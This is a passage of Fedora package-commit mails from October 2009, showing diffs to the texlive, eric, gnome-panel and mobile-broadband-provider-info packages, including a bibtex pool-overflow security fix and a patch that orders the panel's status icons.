+ at +  { pop << /PageSize [1224 1584] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ dsheet 558.8mm 863.6mm
+ at + ! %%DocumentPaperSizes: dsheet
+ at + %%BeginPaperSize: dsheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1584 2448] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ esheet 863.6mm 1117.6mm
+ at + ! %%DocumentPaperSizes: esheet
+ at + %%BeginPaperSize: esheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2448 3168] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ unknown 0in 0in

texlive-lacheck.patch:
 lacheck.lex |   16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

Index: texlive-lacheck.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/devel/texlive-lacheck.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-lacheck.patch	27 Aug 2008 13:45:49 -0000	1.2
+++ texlive-lacheck.patch	16 Oct 2009 05:36:20 -0000	1.3
@@ -15,3 +15,30 @@ diff -up texlive-2007/texk/lacheck/lache
  }
  
  void e_checkend(n, name)
+@@ -1075,6 +1075,7 @@ char *name;
+ 	{
+ 	  print_bad_match(name,3);
+           pop();
++          if (gstackp <= 0) return;
+         }
+ 
+          pop();  
+@@ -1090,11 +1091,13 @@ int type;
+ 		 line_count, 
+ 		 eg_command( end_command , type) ) ;
+ 
+-	  printf("\"%s\", line %d: -> unmatched \"%s\"\n",
+-	         CG_FILE, 
+-		 CG_LINE, 
+-		 bg_command( CG_NAME ) ) ;
+-	  warn_count += 2;
++	  if (gstackp > 0) {
++		 printf("\"%s\", line %d: -> unmatched \"%s\"\n",
++		 	 CG_FILE, 
++		 	 CG_LINE, 
++		 	 bg_command( CG_NAME ) ) ;
++		 warn_count += 2;
++	  }
+ }
+ 
+ int check_top_level_end(end_command,type)

texlive-poolfix.patch:
 bibtex.ch |    9 +++++++++
 1 file changed, 9 insertions(+)

Index: texlive-poolfix.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/devel/texlive-poolfix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- texlive-poolfix.patch	2 Apr 2009 16:35:45 -0000	1.1
+++ texlive-poolfix.patch	16 Oct 2009 05:36:20 -0000	1.2
@@ -1,54 +1,19 @@
 diff -up texlive-2007/texk/web2c/bibtex.ch.poolfix texlive-2007/texk/web2c/bibtex.ch
 --- texlive-2007/texk/web2c/bibtex.ch.poolfix	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/bibtex.ch	2009-04-02 18:06:56.000000000 +0200
-@@ -169,7 +169,7 @@ end.
++++ texlive-2007/texk/web2c/bibtex.ch	2009-10-16 06:55:52.000000000 +0200
+@@ -1134,6 +1134,15 @@ while ((ex_buf_xptr < ex_buf_ptr) and
+ @y
+ @z
  
- @x [still 14]
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-@@ -179,7 +179,7 @@ end.
- @!wiz_fn_space=3000; {maximum amount of |wiz_defined|-function space}
- @y [still 14]
- @!MAX_BIB_FILES=20; {initial number of \.{.bib} files allowed}
--@!POOL_SIZE=65000; {initial number of characters in strings}
-+@!POOL_SIZE=650000; {initial number of characters in strings}
- @!max_strings=35000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=5000; {maximum number of distinct cite keys; must be
-diff -up texlive-2007/texk/web2c/bibtex.web.poolfix texlive-2007/texk/web2c/bibtex.web
---- texlive-2007/texk/web2c/bibtex.web.poolfix	2006-01-17 22:41:51.000000000 +0100
-+++ texlive-2007/texk/web2c/bibtex.web	2009-04-02 18:06:56.000000000 +0200
-@@ -399,7 +399,7 @@ first limitation to be a problem, often 
- @!max_print_line=79; {the maximum: must be |>min_print_line| and |<buf_size|}
- @!aux_stack_size=20; {maximum number of simultaneous open \.{.aux} files}
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-diff -up texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch.poolfix texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch
---- texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch.poolfix	2009-04-02 18:06:56.000000000 +0200
-+++ texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch	2009-04-02 18:07:52.000000000 +0200
-@@ -179,7 +179,7 @@ end.
- 
- @x [still 14]
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-@@ -189,7 +189,7 @@ end.
- @!wiz_fn_space=3000; {maximum amount of |wiz_defined|-function space}
- @y [still 14]
- @!MAX_BIB_FILES=20; {initial number of \.{.bib} files allowed}
--@!POOL_SIZE=65000; {initial number of characters in strings}
-+@!POOL_SIZE=650000; {initial number of characters in strings}
- @!max_strings=35000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=5000; {maximum number of distinct cite keys; must be
++% Forgot to check for pool overflow here.  Triggered by test case linked
++% from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=520920.
++ at x
++while (sp_ptr < sp_end) do                      {shift the substring}
++ at y
++str_room(sp_end - sp_ptr);
++while (sp_ptr < sp_end) do                      {shift the substring}
++ at z
++
+ % [459] Eliminate unreferenced statement label, because `undefined' is
+ % now a constant expression that is not evaluated at the Web level. If
+ % this label were ever required, it could be replaced by the constant

texlive-poppler.patch:
 configure                           |    6 ++--
 configure.in                        |    8 +++---
 texk/web2c/pdftexdir/pdftex.mk      |    7 ++++-
 texk/web2c/pdftexdir/pdftexextra.in |    2 -
 texk/web2c/pdftexdir/pdftoepdf.cc   |   45 +++++++++++++++++-------------------
 texk/web2c/pdftexdir/pdftosrc.cc    |   37 +++++++++++++++--------------
 texk/web2c/pdftexdir/utils.c        |    6 ++--
 texk/web2c/xetexdir/XeTeX_ext.c     |    8 ++----
 texk/web2c/xetexdir/pdfimage.cpp    |   24 +++++++++++++++----
 texk/web2c/xetexdir/xetex.mk        |   10 +++++---
 10 files changed, 86 insertions(+), 67 deletions(-)

Index: texlive-poppler.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/devel/texlive-poppler.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- texlive-poppler.patch	20 May 2009 16:59:45 -0000	1.5
+++ texlive-poppler.patch	16 Oct 2009 05:36:20 -0000	1.6
@@ -1,6 +1,6 @@
 diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
 --- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
-+++ texlive-2007/configure.in	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/configure.in	2009-10-15 14:57:43.000000000 +0200
 @@ -157,9 +157,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -25,7 +25,7 @@ diff -up texlive-2007/configure.in.poppl
  sinclude(libs/freetype/freetype.ac)
 diff -up texlive-2007/configure.poppler texlive-2007/configure
 --- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
-+++ texlive-2007/configure	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/configure	2009-10-15 14:57:43.000000000 +0200
 @@ -3442,9 +3442,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -41,7 +41,7 @@ diff -up texlive-2007/configure.poppler 
  
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
 --- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-10-15 14:57:43.000000000 +0200
 @@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
     (generated from ../lib/texmfmp.c).
  */
@@ -53,7 +53,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
  #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler texlive-2007/texk/web2c/pdftexdir/pdftex.mk
 --- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -2,6 +2,9 @@
  # This fragment contains the parts of the makefile that are most likely to
  # differ between releases of pdfeTeX.
@@ -84,7 +84,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
  check: pdftosrc-check
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc
 --- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-05-20 18:44:23.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-10-15 14:57:52.000000000 +0200
 @@ -26,25 +26,24 @@ $Id: pdftoepdf.cc,v 1.9 2006/09/01 18:06
  #include <stdio.h>
  #include <string.h>
@@ -155,6 +155,15 @@ diff -up texlive-2007/texk/web2c/pdftexd
          delete r;
      }
  }
+@@ -689,7 +688,7 @@ read_pdf_info(char *image_name, char *pa
+     // this works only for PDF 1.x -- but since any versions of PDF newer
+     // than 1.x will not be backwards compatible to PDF 1.x, pdfTeX will
+     // then have to changed drastically anyway.
+-    pdf_version_found = pdf_doc->doc->getPDFVersion();
++    pdf_version_found = pdf_doc->doc->getPDFMajorVersion() + pdf_doc->doc->getPDFMinorVersion()/10.;
+     pdf_version_wanted = 1 + (minor_pdf_version_wanted * 0.1);
+     if (pdf_version_found > pdf_version_wanted) {
+         char msg[] =
 @@ -703,7 +702,7 @@ read_pdf_info(char *image_name, char *pa
      epdf_num_pages = pdf_doc->doc->getCatalog()->getNumPages();
      if (page_name) {
@@ -166,7 +175,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
              pdftex_fail("PDF inclusion: invalid destination <%s>", page_name);
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc
 --- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-10-15 14:57:43.000000000 +0200
 @@ -25,22 +25,23 @@ $Id: //depot/Build/source.development/Te
  #include <stdio.h>
  #include <string.h>
@@ -233,7 +242,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
      if (!doc->isOk()) {
 diff -up texlive-2007/texk/web2c/pdftexdir/utils.c.poppler texlive-2007/texk/web2c/pdftexdir/utils.c
 --- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 18:20:03.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-10-15 14:57:43.000000000 +0200
 @@ -37,7 +37,7 @@ $Id: //depot/Build/source.development/Te
  #include "zlib.h"
  #include "ptexlib.h"
@@ -257,7 +266,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
  
 diff -up texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler texlive-2007/texk/web2c/xetexdir/pdfimage.cpp
 --- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 11:29:12.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-10-15 14:57:43.000000000 +0200
 @@ -11,10 +11,24 @@
  
  #include "pdfimage.h"
@@ -298,7 +307,7 @@ diff -up texlive-2007/texk/web2c/xetexdi
  	if (!doc) {
 diff -up texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c
 --- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 14:04:36.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-10-15 14:57:43.000000000 +0200
 @@ -33,7 +33,7 @@ authorization from SIL International.
   */
  
@@ -336,8 +345,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  		);
  }
 diff -up texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler texlive-2007/texk/web2c/xetexdir/xetex.mk
---- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-05-20 18:43:56.000000000 +0200
-+++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-05-20 18:43:56.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-10-15 14:57:41.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -4,6 +4,10 @@
  
  Makefile: $(srcdir)/xetexdir/xetex.mk


Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/devel/texlive.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- texlive.spec	27 Jul 2009 05:52:18 -0000	1.54
+++ texlive.spec	16 Oct 2009 05:36:21 -0000	1.55
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	44%{?dist}
+Release:	45%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -77,6 +77,7 @@ Patch30:	texlive-lacheck.patch
 Patch31:	texlive-elif.patch
 Patch32:	texlive-getline.patch
 Patch33:	texlive-poolfix.patch
+Patch34:	texlive-dvipsconfig.patch
 
 ######
 # mpeters contributed patches
@@ -322,18 +323,19 @@ Provides: tex(context)
 ConTeXt is a document preparation system based on TeX.
 
 %package -n kpathsea
-Summary: Shared library needed by kpathsea and info files
+Summary: Path searching library for TeX-related files
 Group:   Development/Libraries
 Obsoletes: tetex-fonts < 3.0-99
-Requires: texlive = %{version}-%{release}
 
 %description -n kpathsea
-Shared library needed by kpathsea and info files.
+The library is at the centre of pretty much all Unix-based TeX
+executable. It is no longer distributed separately, but rather
+consititutes a central part of the sources of the TeX-live
+distribution.
 
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
-Requires:  kpathsea = %{version}-%{release}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -396,6 +398,8 @@ chmod -x texk/dvipdfm/encodings.c
 %patch30 -p1 -b .lacheck
 %patch31 -p1 -b .elif
 %patch32 -p1 -b .getline
+%patch33 -p1 -b .poolfix
+%patch34 -p1 -b .dvipsconfig
 
 # fix non utf man pages
 %patch42 -p1 -b .notutf8-2
@@ -1236,6 +1240,13 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
+- make kpathsea not dependent on texlive
+- fix lacheck again (#451513)
+- fix dvips configuration (#467542)
+- update kpathsea description and summary (#519257)
+- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2007-44
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From trasher at fedoraproject.org  Fri Oct 16 05:43:40 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Fri, 16 Oct 2009 05:43:40 +0000 (UTC)
Subject: rpms/eric/devel .cvsignore, 1.19, 1.20 eric.spec, 1.49, 1.50 sources,
	1.24, 1.25
Message-ID: <20091016054340.645FA11C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/eric/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27740

Modified Files:
	.cvsignore eric.spec sources 
Log Message:
New upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eric/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	14 Sep 2009 03:33:25 -0000	1.19
+++ .cvsignore	16 Oct 2009 05:43:37 -0000	1.20
@@ -1,8 +1,8 @@
-eric4-4.3.7.1.tar.gz
-eric4-i18n-cs-4.3.7.1.tar.gz
-eric4-i18n-de-4.3.7.1.tar.gz
-eric4-i18n-es-4.3.7.1.tar.gz
-eric4-i18n-fr-4.3.7.1.tar.gz
-eric4-i18n-ru-4.3.7.1.tar.gz
-eric4-i18n-tr-4.3.7.1.tar.gz
-eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+eric4-4.3.8.tar.gz
+eric4-i18n-cs-4.3.8.tar.gz
+eric4-i18n-de-4.3.8.tar.gz
+eric4-i18n-es-4.3.8.tar.gz
+eric4-i18n-fr-4.3.8.tar.gz
+eric4-i18n-ru-4.3.8.tar.gz
+eric4-i18n-tr-4.3.8.tar.gz
+eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz


Index: eric.spec
===================================================================
RCS file: /cvs/extras/rpms/eric/devel/eric.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- eric.spec	18 Sep 2009 20:57:55 -0000	1.49
+++ eric.spec	16 Oct 2009 05:43:37 -0000	1.50
@@ -7,8 +7,8 @@
 
 Name:    eric
 Summary: Python IDE
-Version: 4.3.7.1
-Release: 2%{?dist}
+Version: 4.3.8
+Release: 1%{?dist}
 
 License: GPL+
 Group:   Development/Tools
@@ -152,6 +152,9 @@ rm -rf %{buildroot}
 %{_libdir}/qt4/qsci/api/ruby/*.api
 
 %changelog
+* Fri Oct 16 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.8-1
+- 4.3.8
+
 * Fri Sep 18 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.7.1-2
 - add default suffix for qt4 apps
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eric/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 03:33:26 -0000	1.24
+++ sources	16 Oct 2009 05:43:38 -0000	1.25
@@ -1,8 +1,8 @@
-c97028915201a28b9d728ff89658e522  eric4-4.3.7.1.tar.gz
-06240f44b92bbc0474d104b977c832ad  eric4-i18n-cs-4.3.7.1.tar.gz
-9e0d676f1d715eca4fc97d7f01cab402  eric4-i18n-de-4.3.7.1.tar.gz
-1b309a6ce80b33c163d6f9b73f47c4af  eric4-i18n-es-4.3.7.1.tar.gz
-e86d502689b63a6f592c13574f9308dc  eric4-i18n-fr-4.3.7.1.tar.gz
-b8971e78b3181a46540752e5a0131384  eric4-i18n-ru-4.3.7.1.tar.gz
-b27ae962c0a6b93366e1fd52e958d465  eric4-i18n-tr-4.3.7.1.tar.gz
-eee6f38d23944a797d70ca44334336ba  eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+528fabc0cc57171143fe801282b9f2c3  eric4-4.3.8.tar.gz
+c0815f6d3a336166eb7f610b712698e3  eric4-i18n-cs-4.3.8.tar.gz
+dc089855a21f3c13c7379c24914f776d  eric4-i18n-de-4.3.8.tar.gz
+df2b57481ebccabdd3ff4c5ca295f68c  eric4-i18n-es-4.3.8.tar.gz
+894baacf3030b1fc5ba3df03373eb5de  eric4-i18n-fr-4.3.8.tar.gz
+7d371a9c9c3dcdec96b10eb296f76caf  eric4-i18n-ru-4.3.8.tar.gz
+32f6e0a075d2b828c44d3365c1a6de07  eric4-i18n-tr-4.3.8.tar.gz
+548a06e61fbfe39a5d4c533b8a5d6d9d  eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz



From mclasen at fedoraproject.org  Fri Oct 16 05:49:19 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri, 16 Oct 2009 05:49:19 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 icon-order.patch, NONE, 1.1 gnome-panel.spec, 
	1.374, 1.375
Message-ID: <20091016054919.1966811C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29596

Modified Files:
	gnome-panel.spec 
Added Files:
	icon-order.patch 
Log Message:
predictable order for status icons


icon-order.patch:
 na-tray-child.c |   81 ++++++++++++++++++++++++++++++++++++++++++++++++++
 na-tray-child.h |    5 ++-
 na-tray.c       |   89 ++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 3 files changed, 172 insertions(+), 3 deletions(-)

--- NEW FILE icon-order.patch ---
--- gnome-panel-2.28.0/applets/notification_area/na-tray-child.c	2009-08-11 12:56:35.000000000 -0400
+++ hacked/applets/notification_area/na-tray-child.c	2009-10-16 00:18:25.057041777 -0400
@@ -428,3 +428,84 @@
 #endif
     }
 }
+
+
+/* from libwnck xutils.c */
+static char *
+latin1_to_utf8 (const char *latin1)
+{
+  GString *str;
+  const char *p;
+
+  str = g_string_new (NULL);
+
+  p = latin1;
+  while (*p)
+    {
+      g_string_append_unichar (str, (gunichar) *p);
+      ++p;
+    }
+
+  return g_string_free (str, FALSE);
+}
+
+/* derived from libwnck xutils.c */
+static void
+_get_wmclass (Display *xdisplay,
+              Window   xwindow,
+              char   **res_class,
+              char   **res_name)
+{
+  XClassHint ch;
+  char *retval;
+
+  gdk_error_trap_push ();
+
+  ch.res_name = NULL;
+  ch.res_class = NULL;
+
+  XGetClassHint (xdisplay, xwindow, &ch);
+
+  gdk_error_trap_pop ();
+
+  retval = NULL;
+
+  if (res_class)
+    *res_class = NULL;
+
+  if (res_name)
+    *res_name = NULL;
+
+  if (ch.res_name)
+    {
+      if (res_name)
+        *res_name = latin1_to_utf8 (ch.res_name);
+
+      XFree (ch.res_name);
+    }
+
+  if (ch.res_class)
+    {
+      if (res_class)
+        *res_class = latin1_to_utf8 (ch.res_class);
+
+      XFree (ch.res_class);
+    }
+}
+
+void
+na_tray_child_get_wm_class (NaTrayChild *child,
+                            char **res_name,
+                            char **res_class)
+{
+  GdkDisplay *display;
+
+  g_return_if_fail (NA_IS_TRAY_CHILD (child));
+
+  display = gtk_widget_get_display (GTK_WIDGET (child));
+
+  _get_wmclass (GDK_DISPLAY_XDISPLAY (display),
+                child->icon_window,
+                res_class,
+                res_name);
+}
--- gnome-panel-2.28.0/applets/notification_area/na-tray-child.h	2009-08-11 12:55:28.000000000 -0400
+++ hacked/applets/notification_area/na-tray-child.h	2009-10-16 00:19:19.841050913 -0400
@@ -61,7 +61,10 @@
 gboolean        na_tray_child_has_alpha      (NaTrayChild *child);
 void            na_tray_child_set_composited (NaTrayChild *child,
                                               gboolean     composited);
-void            na_tray_child_force_redraw   (NaTrayChild *child);
+void            na_tray_child_force_redraw   (NaTrayChild  *child);
+void            na_tray_child_get_wm_class   (NaTrayChild  *child,
+					      char        **res_name,
+			     		      char        **res_class);
 
 G_END_DECLS
 
--- gnome-panel-2.28.0/applets/notification_area/na-tray.c	2009-08-11 16:27:41.000000000 -0400
+++ hacked/applets/notification_area/na-tray.c	2009-10-16 01:38:03.211041558 -0400
@@ -117,6 +117,51 @@
   return trays_screen->all_trays->data;
 }
 
+const char *roles[] = {
+  "keyboard",
+  "volume",
+  "bluetooth",
+  "network",
+  "battery",
+  NULL
+};
+
+const char *wmclass_roles[] = {
+  "Bluetooth-applet", "bluetooth",
+  "Gnome-volume-control-applet", "volume",
+  "Nm-applet", "network",
+  "Gnome-power-manager", "battery",
+  NULL,
+};
+
+static const char *
+find_role (const char *wmclass)
+{
+  int i;
+
+  for (i = 0; wmclass_roles[i]; i += 2)
+    {
+      if (strcmp (wmclass, wmclass_roles[i]) == 0)
+        return wmclass_roles[i + 1];
+    }
+
+  return NULL;
+}
+
+static int
+find_role_pos (const char *role)
+{
+  int i;
+
+  for (i = 0; roles[i]; i++)
+    {
+      if (strcmp (role, roles[i]) == 0)
+        break;
+    }
+
+  return i + 1;
+}
+
 static void
 tray_added (NaTrayManager *manager,
             GtkWidget     *icon,
@@ -124,6 +169,11 @@
 {
   NaTray *tray;
   NaTrayPrivate *priv;
+  GList *l, *children;
+  int position;
+  char *class_a;
+  const char *role;
+  int role_position;
 
   tray = get_tray (trays_screen);
   if (tray == NULL)
@@ -132,10 +182,45 @@
   priv = tray->priv;
 
   g_assert (priv->trays_screen == trays_screen);
-  
+
   g_hash_table_insert (trays_screen->icon_table, icon, tray);
 
-  gtk_box_pack_end (GTK_BOX (priv->box), icon, FALSE, FALSE, 0);
+  position = 0;
+
+  class_a = NULL;
+  na_tray_child_get_wm_class (NA_TRAY_CHILD (icon), NULL, &class_a);
+  if (!class_a)
+    goto insert;
+
+  role = find_role (class_a);
+  g_free (class_a);
+  if (!role)
+    goto insert;
+
+  role_position = find_role_pos (role);
+  g_object_set_data (G_OBJECT (icon), "role-position", GINT_TO_POINTER (role_position));
+
+  children = gtk_container_get_children (GTK_CONTAINER (priv->box));
+  for (l = g_list_last (children); l; l = l->prev)
+    {
+      GtkWidget *child = l->data;
+      gint rp;
+
+      rp = GPOINTER_TO_INT (g_object_get_data (G_OBJECT (child), "role-position"));
+      if (rp == 0 || rp < role_position)
+        {
+          position = g_list_index (children, child) + 1;
+          break;
+        }
+    }
+  g_list_free (children);
+
+  if (position < 0)
+    position = 0;
+
+insert:
+  gtk_box_pack_start (GTK_BOX (priv->box), icon, FALSE, FALSE, 0);
+  gtk_box_reorder_child (GTK_BOX (priv->box), icon, position);
 
   gtk_widget_show (icon);
 }


Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.374
retrieving revision 1.375
diff -u -p -r1.374 -r1.375
--- gnome-panel.spec	15 Oct 2009 05:32:41 -0000	1.374
+++ gnome-panel.spec	16 Oct 2009 05:49:18 -0000	1.375
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -120,6 +120,9 @@ Patch42: panel-randr-crashes.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=343436
 Patch43: panel-padding.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=583115
+Patch44: icon-order.patch
+
 Conflicts: gnome-power-manager < 2.15.3
 
 %description
@@ -169,6 +172,7 @@ Panel Applets using the libpanel-applet 
 %patch41 -p1 -b .bookmarks-submenu
 %patch42 -p1 -b .randr-crashes
 %patch43 -p1 -b .panel-padding
+%patch44 -p1 -b .icon-order
 
 . %{SOURCE6}
 
@@ -367,6 +371,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Fri Oct 16 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-6
+- Put status icons in a predictable order
+
 * Wed Oct 14 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-5
 - Tweaks to the default panel configuration
 



From dcbw at fedoraproject.org  Fri Oct 16 05:51:35 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Fri, 16 Oct 2009 05:51:35 +0000 (UTC)
Subject: rpms/mobile-broadband-provider-info/F-11
	mobile-broadband-provider-info.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091016055135.D326E11C00E5@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/mobile-broadband-provider-info/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31837

Modified Files:
	mobile-broadband-provider-info.spec sources 
Log Message:
Update to a recent release



Index: mobile-broadband-provider-info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mobile-broadband-provider-info/F-11/mobile-broadband-provider-info.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mobile-broadband-provider-info.spec	8 Jul 2009 17:51:15 -0000	1.2
+++ mobile-broadband-provider-info.spec	16 Oct 2009 05:51:35 -0000	1.3
@@ -1,4 +1,4 @@
-%define upstream_version 20090707
+%define upstream_version 20090918
 
 Summary: Mobile broadband provider database
 Name: mobile-broadband-provider-info
@@ -23,6 +23,15 @@ BuildRequires: libxml2
 The mobile-broadband-provider-info package contains listings of mobile
